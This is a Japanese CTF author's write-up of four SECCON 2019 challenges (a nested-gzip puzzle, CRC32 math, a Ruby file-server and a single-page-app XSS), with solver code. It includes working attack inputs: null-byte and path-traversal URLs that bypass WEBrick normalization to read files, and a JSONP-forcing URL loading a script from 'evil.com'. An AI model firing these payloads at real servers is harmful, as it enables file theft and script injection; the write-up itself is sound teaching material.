#SECCON 2019 Online 「Tanuki」「Crazy Repetition of Codes」「fileserver」「SPA」の解説と講評のようなもの
本日開催された SECCON 2019 Online CTF の予選では、前回優勝チームであるチームTSGが作問協力を行いました。博多市はチームTSGの一員として「Tanuki」「Crazy Repetition of Codes」「fileserver」「SPA」の4問を提供したので簡単な解説と講評を行いたいと思います。
※For international readers: English version will be published sooner or later.
Tanuki (misc, 439pts)
Behold! We invented the brand-new, super-difficult, hyper-cryptic, and ultra-undecipherable cryptosystem for this SECCON CTF 2019! And we have the name of it: たぬき (Tanuki) !
Samples
Ciphertext 1: たたせくたこたたたんた
Plaintext 1: せくこんCiphertext 2: たSたEたたたたたCCたたたたたOたNたたた
Plaintext 2: SECCONOh, it's too difficult for you to decrypt? So then... TRY HARDER!
添付ファイル: tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz
解法1
一見解読不能に見える暗号ですが、よく考えてみましょう。ヒントは問題タイトルであり暗号の名称でもある「たぬき」です。「たぬき」、「た」「抜き」⋯⋯そう、「た」の字を抜けばいいのです！
実は、この暗号では暗号文を走査して「た」以外の文字を拾うことで平文を得ることができます。配布されたテキストファイルに対しても同様に上の操作を行うことでフラグを得ることができます。終了。
なお注意点として、配布されたファイルは展開すると2,906,376,313,410,896,280,535,164バイト (=約2.40ヨタバイト) になります。おそらく1つのハードディスクには収まらないので、追加でファイルを保存するためのハードディスクを購入しましょう。
2019年10月現在、価格.comで最もバイト単価の安いハードディスクはSEAGATEのST4000DM004で、7580円/4TBでした。よって、かかる費用は 2,906,376,313,410,896,280,535,164B × (7580円 ÷ 4TiB) = 5,009,117,661,675,580円 (=5009.117兆円) で済みます。
5000兆円を持っている方はぜひ試してみてください。
解法2 (5000兆円を持っていない場合)
5000兆円を持っていない場合でも、ご安心ください。工夫をすることで費用をぐっと抑えることができます。
gzipを何度か展開した後のファイルを調べてみると、データ中に単純な繰り返しパターンが多く現れていることが分かります。
gzipで用いられているDEFLATE圧縮では、LZ77と呼ばれる符号化手法が用いられています。この符号化はこれまでのデータから一致する部分を探し出しコピーしてくるというものですが、コピー元のデータが直前にある場合は、この符号化は実質的にランレングス圧縮とみなすことができます。与えられたgzipファイルのLZ77符号はほとんどがこのような直前のデータを繰り返すデータで構成されているため、圧縮元のデータをうまくランレングス表現で持つことで、データを完全に展開することなく効率的に元のデータを復元することができます。
さらに一歩考え方を進めてみましょう。今回のTanuki暗号ではフラグを表す文字列以外の部分はすべて単純な「た」の字の繰り返しであり、その繰り返しの長さに関しては問われません。仮に元文字列の繰り返しがより少なかったと仮定した場合、圧縮後のデータ列の繰り返し回数を表現する部分の数値が減るだけでデータの構造自体には影響を与えないでしょう。逆に言えば、展開時に圧縮後のデータ列の繰り返し回数を表現する部分を変更しても、元データの「た」の繰り返し回数が変化するだけでそれ以外の部分には影響を与えません。
即ち、この問題を解くにはデータの展開時にDEFLATEの符号列上から単純にデータの繰り返しを表現する部分を除去するだけで十分です。このように実装することで、もはやランレングス表現を持つ必要もなく、既存のDEFLATE展開ライブラリの実装を少し改造するだけで簡単にフラグを得ることができます。
ソルバスクリプト全体は後ほどSECCON運営から公開されると思いますが、抜粋すると以下のような感じです。いろんな言語/ライブラリで実装できると思いますが、今回はNode.jsおよびzlib.es (にパッチを当てたもの) を使用してみました。
const fs = require('fs');
const {inflate} = require('./lib/zlib.js'); // patched to emit tokens
let gzip = fs.readFileSync('tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz');
for (const i of Array(12).keys()) {
const headerEnd = gzip.findIndex((byte, index) => index > 10 && byte === 0);
const zlib = Buffer.concat([
Buffer.from('789C', 'hex'),
gzip.slice(headerEnd + 1, -8),
gzip.slice(-4),
]);
const {tokens} = inflate(zlib);
const newBytes = [];
for (const token of tokens) {
if (token.type === 'data') {
newBytes.push(token.value);
}
if (token.type === 'repeat') {
if (token.distance <= token.length) {
// data copy overlaps and is repeating previous data. just ignore them
} else {
newBytes.push(...newBytes.slice(-token.distance, -token.distance + token.length));
}
}
}
gzip = Buffer.from(newBytes);
if (i === 11) {
console.log(gzip.toString().replace(/た/g, ''));
}
}
Crazy Repetition of Codes (Crypto, 326pts)
上のTanukiを作問した際についでに完成した問題です。
I'm crazy about googology!
文字列を int("1" * 10000) 回連結した際のCRC32チェックサムを求めよ、という問題です。
解法1: 巡回符号の有限級数として計算する
文字列sをn回繰り返した文字列のCRCを求めることを考えます。巡回符号はGF(2)上の多項式環で表せるので、sの多項式表現をS(x)、sのビット長をLsとすると、対象の文字列の多項式表現W(x)は
と表現できます。求めたいCRCはW(x)の生成多項式G(x)による剰余から求まります。
この式はそのまま初項S(x)、公比xLsの等比数列の有限級数とみなせます。よって等比数列の級数の公式を用いて
を直接計算することで上の式の計算結果が求まります。除算は拡張ユークリッドの互除法を用いて逆元を計算すればよいでしょう。累乗の計算に繰り返し二乗法 (バイナリ法) を用いれば計算量はO(logn)で、n=1010000であっても間に合います。
その他、繰り返し二乗法を用いて文字列連結を行うことでも高速に求まります。
解法2: 鳩の巣原理を用いる
⋯⋯という問題だったはずなのですが、競技終了後Writeupを拝読したところ、
方針は単純。どっかでループすると思われるので、それを特定する。ランダム要素がないので最悪でもcrc32を232回ぶん回せばループが発覚する。鳩ノ巣原理。
なるほど、盲点でしたが確かにそのとおりです。CRCは定数倍が軽いので232回で愚直に実装しても間に合う可能性が高いでしょう。
CRC64とかで出題するべきだったなあ
fileserver (Web, 345pts)
かなり難産でした。最終的にわりと綺麗な問題になったんじゃないでしょうか。自信作です。
I donno apache or nginx things well, I guess I can implement one for myself though. See? It's easy!
すでに想定解のWriteupが多数公開されているので端折りながら解説します。
解法 前半 Dir.globのヌル文字による挙動を利用する
Dir.globのドキュメントを読むと、
パターンを文字列で指定します。 パターンを "\0" で区切って 1 度に複数のパターンを指定することもで きます。 パターンの区切りには "\0" のみ指定できます。 配列を指定することで複数のパターンを指定できます。
とあります。Rubyのファイル読み込み系メソッドとヌル文字の関係については、CVE-2018-8780やCVE-2019-15845などが記憶に新しいですね。このDir.globの挙動もこの類のものですが、これに関してはドキュメントにも載っているれっきとした仕様であり脆弱性ではありません。なんでなんですかね⋯⋯
これを利用して以下のようにフラグファイル名を取得します。
http://fileserver.chal.seccon.jp:9292/hoge%00/tmp/flags/
なお、この仕様は今年12月にリリースされる予定の Ruby 2.7.0 で廃止される予定です。
解法 後半 is_bad_pathの脆弱性を利用する
上と同じ手法を用いて喜び勇んでフラグの中身を取得しにいくと、今度は以下のようなエラーでにべもなく突き返されます。
Internal Server Error
path name contains null byte
ほぼ同じコードなのになぜ今度はエラーになるのかというと、Dir.globの少し下、File.extname関数にパスを渡す際にヌル文字が含まれるとエラーがraiseされて処理が中断してしまうためです。
ファイルの存在性確認では
matches = Dir.glob(req.path[1..])
ということをしているので、一見 //tmp/flags/xxx.txt や /../../../../tmp/flags/xxx.txt が通りそうですが、これらはいずれもWEBrickのURLのノーマライゼーション処理で殺されてしまいます。
想定解では、is_bad_pathの早期breakのバグを用いて、
/.\./.\./.\./.\./.\./.\./.\./tm{p,\[}/flags/xxx.txt
のようなURLでWEBrickのノーマライゼーションを回避しながらアクセスします。また、
/.{a,}./.{a,}./.{a,}./.{a,}./tm{[,p}/flags/xxx.txt/{.}{.}/{.}{.}/{.}{.}/{.}{.}/tm{[,p}/flags/xxx.txt/{aa[a,/tmp/flags/xxx.txt}
などでも正解できます。
なお、
/.\./.\./tmp/flags/{a,b,c,d,...}{a,b,c,d,...}{a,b,c,d,...}....txt
のようなURLを用いることで解法の前半をスキップできそうですが、僕が検証した限り今回のフラグファイル名にマッチするためにはどのように組み立てても4000文字以上になってしまい、WEBrickの MAX_URI_LENGTH (= 2083) を超えるようになっています。もしこの方針で解けた方がいたら面白いので教えてもらいたいです。
SPA (Web, 427pts)
Last day my colleague taught me the concept of the Single-Page Application, which seems to be the good point to kickstart my web application development. Well, now it turned out to be MARVELOUS!
SECCON開催直前にひねり出したXSS問です。解答者少なかったけど何も難しくなくないですか? wow wow
解法
location.hash経由でユーザー入力を与えられて、$.getJSONの引数に食わせることができます。つまり任意のJSONが与えられるということで prototype pollution やVue.jsの DOM-based XSS を疑った方もいたようですが、残念ながらそちらはハズレです。
だいぶメタ読みですが、Vue.jsのプロジェクトなのにわざわざ$.getJSONのためにjQueryをロードしているのはかなり不自然だと思います。普通はfetchとかでは? まあそれをカモフラージュするためにわりと本気のSPAを作ったんですが⋯⋯。
$.getJSONのドキュメントにあるとおり、引数のURLに?hoge=?のような文字列を含めることで動作モードを強制的にJSONPにすることができます (なおこの挙動は$.ajaxや$.getなどで共通です)。これを用いて以下のように攻撃用jsを食わせることでXSS可能です。
http://spa.chal.seccon.jp:18364/#/evil.com/xss.js?callback=?&yakuza
